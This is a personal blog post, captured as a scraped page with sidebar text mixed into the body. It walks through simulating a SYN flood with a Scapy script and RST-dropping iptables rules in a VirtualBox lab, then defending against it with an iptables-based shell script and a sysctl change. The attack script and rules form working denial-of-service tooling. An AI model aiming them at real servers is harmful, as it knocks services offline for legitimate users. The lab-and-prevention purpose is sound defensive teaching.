Subodh Pachghare: SYN Packet Generation by Sc... http://www.thesubodh.com/2011/05/syn-packet-g...

Compartilhar 0 mais Próximo blog» Criar um blog Login

||High Performance | Networking | Distributed Systems | Linux Life | Info-Sec | Virtualization | Storage||

Home Bookshelf Contact me Intention Hard-Drives I Own Good Security tools Movies for Geeks Useful links

“Cyberspace. A consensual hallucination experienced daily by billions of legitimate operators, in every nation, by children being taught
mathematical concepts... A graphic representation of data abstracted from banks of every computer in the human system. Unthinkable complexity.
Lines of light ranged in the nonspace of the mind, clusters and constellations of data. Like city lights, receding..."- William Gibson, Neuromancer

S a t u r d a y, M a y 1 4 , 2 0 1 1 Who writes this stuff!!!

Subodh Pachghare
SYN Packet Generation by Scapy & SYN Flood Prevention using Pune, Maharashtra, India
iptables I am Performance fanatic & eat
Packets for breakfast. Enough
Recently I played with iptables & got into situation to prevent SYN Floods using iptables. So here is my said...
solution for this. SYN Flood Packet generation is done by Scapy to simulate the DDOS through Multiple View my complete profile
Oracle VirtualBox Virtual machines running Ubuntu 10.04 server. Works for me. :)

Attackers Configurations :

I am using three Virtual machines here of Ubuntu Server 10.04 connected through “Hostonly” network
adapter of VirtualBox. 192.168.56.102 is Target server, 192.168.56.101 & 192.168.56.103 are Attackers.
Install the Scapy tool for packet generation, I am using 2.2.0 version here. Extract the Scapy source & run
the following command
Sponsor -->
root@ubiserv:~# python setup.py install

run Scapy using

root@ubiserv:~# scapy ProfiShark 1G
profitap.com
For attacking the Target server at 192.168.56.102, insert the following rule into the Attacker’s systems i.e.
at 192.168.56.101 & 192.168.56.103 Ethernet Field Troubleshooter
for Laptop using WireShark
root@ubiserv:~# iptables –A OUTPUT –p tcp –s 192.168.56.101 --tcp-flags RST RST –j DROP
root@ubiserv:~# iptables –A OUTPUT –p tcp –s 192.168.56.103 --tcp-flags RST RST –j DROP

Note - Iptables rules will only apply to kernel stack, not above that. For ex. the iptables rule will not apply
to packets generated by Scapy. Scapy packet crafting tool creates the whole packet in its space, hence
iptables rule will not hold here. Though the malformed/manipulated packets crafted by Scapy will be seen
by Kernel, resulting in replies/responses/resets from Kernel. This can be prevented by using iptables, so
Blog Archive
that kernel will not respond to scapy packets. After sending the SYN packets to Target the Attacker’s Kernel
will try to respond it by RST packets as this communication is not initiated by Kernel. We have to block this ► 2013 (4)
otherwise the Buffer of Target will not get full. ► 2012 (10)
▼ 2011 (28)
This rule will DROP the packets from 192.168.56.101/103 on OUTPUT chain with RST flag set, preventing
► December 2011 (1)
from resetting the connection.
Run the python script on the Attackers systems to send malformed SYN connections to Target with custom ► November 2011 (1)
ttl & id values. ► October 2011 (1)
► September 2011 (1)
SYN_Flood_Scapy.py script contents
► August 2011 (1)
#! /usr/bin/env python
# Name : Subodh Pachghare ► July 2011 (7)
# CyberSpace Name : HaX0R (Cyberninja) ► June 2011 (1)
# Website : www.thesubodh.com
▼ May 2011 (3)
# Description : SYN Flood Packet creation for iptables prevention solution

1 of 6 26-04-2014 04:50
Subodh Pachghare: SYN Packet Generation by Sc... http://www.thesubodh.com/2011/05/syn-packet-g...

import sys SYN Packet Generation by

from scapy.all import * Scapy & SYN Flood
#conf.verb=0 Prevent...
print "Field Values of packet sent" FreeRadius Server
p=IP(dst=sys.argv[1],id=1111,ttl=99)/TCP(sport=RandShort(),dport= Configuration for
Enterasys mana...
[22,80],seq=12345,ack=1000,window=1000,flags="S")/"HaX0r SVP"
ls(p) Linux iptables (Best Kernel
Firewall ever!) config...
print "Sending Packets in 0.3 second intervals for timeout of 4 sec"
ans,unans=srloop(p,inter=0.3,retry=2,timeout=4) ► April 2011 (4)
print "Summary of answered & unanswered packets"
► March 2011 (5)
ans.summary()
unans.summary() ► February 2011 (2)
print "source port flags in response" ► January 2011 (1)
#for s,r in ans:
► 2010 (20)
# print r.sprintf("%TCP.sport% \t %TCP.flags%")
ans.make_table(lambda(s,r): (s.dst, s.dport, r.sprintf("%IP.id% \t %IP.ttl% \t %TCP.flags%")))

SYN Flood python script can be downloaded here.

This will generate the SYN packets to target with id=1111 & ttl=99 I support Operating System light-
Usage of script will be like this weight virtualization to
root@ubiserv:~# python SYN_Flood_Scapy.py 192.168.56.102 Hyper-Visor virtualization.

This script sends the SYN connections to the 22 & 80 port from random source port numbers
using randshort() function present. Script will also provide the detail of the crafted packet for the purpose
of attack. At last the script reports SA (SYN-ACK) responses & gives result in answered & unanswered
I support Voluntary computation
packages. Reply back to SA shows that target responded with SYN-ACK but not sent any communication or
contribution for progression of
RST back. So the Target thinks the SA was lost or did not reached to Initiator hence it keeps sending it back.
human knowledge. Currently I am
The connection on target server remains in SYN_RECV condition. The SYN_RECV condition for each port contributing all my idling compute
remains for 3 minutes as per the net.ipv4.tcp_synack_retries parameter. This is set to 5 in Linux & then power to Primegrid project.
Kernel closes it. This is SYN Flood condition. The Million’s of unanswered SYN requests to Target can cause
the buffer to get filled up completely, unable to serve the legit clients as there is no memory resources left.
This is Typical DDOS (Distributed Denial of Service) attack initiated in real scenario from multiple IP
addresses across the globe. Retrospectively speaking, these kinds of attacks are generally carried out with
This work by Subodh Pachghare is
the help of BOTNETS or other compromised systems.
licensed under a Creative
Commons Attribution-
Prevention Measures on Target Server : Noncommercial-Share Alike 3.0
Unported License. Permission can
For prevention of this I have created a shell script to fulfill my needs of iptables automatically. This solution be given if informed, Contact
will reject all the suspicious TCP connections with TCP RST Flag i.e. reset packet to prevent the potential information on "Contact me" page.
DDOS scenario. 25 attempts from every single IP address is allowed to take care of Packet loss, After that
SYN Packets from these IP will be rejected under intentional flooding case & IP address logged for tracking
Subscribe To
purpose. The time interval has to be specified with the script to check for connections, basically for given
time interval the script goes into sleep. For more IP connections observed it is recommended that to use Posts
lower seconds.
Comments
Use script like this
root@ubiserv:~# ./SYN_Flood_Prevention.sh 4
Popular Posts by Subodh

This will also log the number of connections made & IP address into log file. Metasploit - 101
with Meterpreter
SYN_Flood_Prevention.sh script Contents Payload & VNC
Injection
# Name : Subodh Pachghare
The Metasploit
# CyberSpace Name : HaX0R (Cyberninja) framework is
# Website : www.thesubodh.com well known in the realm of
# Description : SYN Flood Prevention using iptables against Scapy SYN packets generated exploit development. It is a
standalone tool for security
> /var/log/DDOS_IP.log
researchers, penetration te...
> /tmp/test1.txt
> /tmp/test2.txt TOE: TCP Offload
trap "echo ;echo Caught EXIT signal;iptables -F;echo Iptables entries cleared;echo HaX0R SVP" EXIT Engine on NIC &
Packet Capture
while true;
do
date >> /var/log/DDOS_IP.log
Misinterpretations
netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq -c >> A quick post about TOE (TCP
/var/log/DDOS_IP.log Offload Engine) present these
for pip in `netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | sort | uniq` days in about all NIC's. If
enabled TCP/IP operations of
do
packets are process...
conntrack=`netstat | grep -E "ssh|www" | grep -iv ESTABLISHED | awk '{print $5}' | cut -d : -f 1 | grep $pip
| wc -l`; VRF Lite
while read line Implementation
with IPSec
do
Tunnels & OSPF
if [ "$line" = "$pip" ] Default Route

2 of 6 26-04-2014 04:50
Subodh Pachghare: SYN Packet Generation by Sc... http://www.thesubodh.com/2011/05/syn-packet-g...

then Injection
continue 2 VRF Lite - Virtual Routing and
Forwarding. Simple form of VRF
fi routing. VRF provides multiple
done < /tmp/test2.txt routing table instances within
if [ "$conntrack" -gt "25" ] same rou...
then
What are exactly
iptables -I INPUT -s $pip -p tcp -j REJECT --reject-with tcp-reset
O_DIRECT,
echo "$pip" >> /tmp/test1.txt O_SYNC Flags,
fi Buffers & Cached
done in Linux-Storage
I/O?
cat /tmp/test1.txt | sort | uniq > /tmp/test2.txt
Feels good to post after a long
sleep $1 time. I always hear HPC systems
done people flapping their mouths in
context of I/O performance
measures in dis...
Iptables shell script can be downloaded here.
Complete Zip file of files related to this topic including Scripts, tcpdump packet captures, pdf of this post SYN Packet
etc can be found here in Complete ZIP File. Generation by
Scapy & SYN
Flood Prevention
EXIT signal (^C) will cause the script to Flush all the iptables chain to clear the configuration for prevention using iptables
of SYN Flood. The topology diagrams are given below. Also find the snapshot for the Scapy SYN packet Recently I played
output at the shell prompt. These scripts are generated according to my requirements. with iptables & got into
situation to prevent SYN Floods
using iptables. So here is my
Kernel configuration : solution for this. SYN Flood P...

Further the SYN_ACK retries also has to be modified to the lower values, so that the SYN_RECV state
connections will get closed quickly. The parameter need to be set is net.ipv4.tcp_synack_retries . This has Labels
default value of 5 in Linux. 5 SYN_ACK retries will cause the older port connections to close in 3 minutes,
resulting in lots of stale connections & memory resource consumption. This can be reduce to 1 so that the
access restrictions
older SYN_RECV connections will close in 10 seconds if no reply is received from initiator. Set the parameter
Backup Theories
using the following way.

Add the following line to /etc/sysctl.conf ccNUMA cisco

net.ipv4.tcp_synack_retries = 1 Cisco/Enterasys

Commit the changes made in sysctl using

root@ubiserv:~# sysctl –p /etc/sysctl.conf

Verify it using
root@ubiserv:~# cat /proc/sys/net/ipv4/tcp_synack_retries EMC
1 Networker
root@ubiserv:~#

Now the old connections will end in 10 sec as only one SYN_ACK retry sent. So this is it for SYN Flood
prevention. I will post more about iptables in later posts.Please drop me a mail if you think to use this & of High
course for any suggestions or problems. Mail can be found in Contact Me section. Happy rooting. Performance Computing

Click on the following images for Full Size.

Information Security

Kernel

Linux
Linux/Unix

network
Networking
Open Source

OSPF

performance
Programming

SGI

3 of 6 26-04-2014 04:50
Subodh Pachghare: SYN Packet Generation by Sc... http://www.thesubodh.com/2011/05/syn-packet-g...

Virtualization

Hits

8 5 5 6 6

Attack Scenario

Prevention

4 of 6 26-04-2014 04:50
Subodh Pachghare: SYN Packet Generation by Sc... http://www.thesubodh.com/2011/05/syn-packet-g...

Snapshot : Scapy python script output on Attackers system

Posted by Subodh Pachghare Recommend this on Google

Labels: Information Security, iptables, Kernel, Linux/Unix, network, Networking, Programming, python, scapy, shell script, SYN,
SYN Flood, tcp

2 comments:

Unknown September 26, 2013 at 12:17 AM

Good and lucid explanation !

My 2 cents - the preventive measure of blocking a particular IP when >25 SYN pkts come from it could be
easily bypassed by making SCAPY spoof the IP addresses ;)

Reply

Subodh Pachghare September 26, 2013 at 7:38 PM

Yeah you are absolutely right, attacker can easily spoof the IP address and can come back to launch SYN
packets, however new spoofed IP address will be banned too by prevention script. The idea here is to block
all connections who are intentionally trying to exhaust socket memory.

Reply

5 of 6 26-04-2014 04:50
Subodh Pachghare: SYN Packet Generation by Sc... http://www.thesubodh.com/2011/05/syn-packet-g...

Comment as: Google Account

Publish Preview

Newer Post Home Older Post

Subscribe to: Post Comments (Atom)

License - CCBYNCSA3.0Unported, unless otherwise noted by end of post. @2010 - 2013 Subodh Pachghare. Powered by Blogger.

6 of 6 26-04-2014 04:50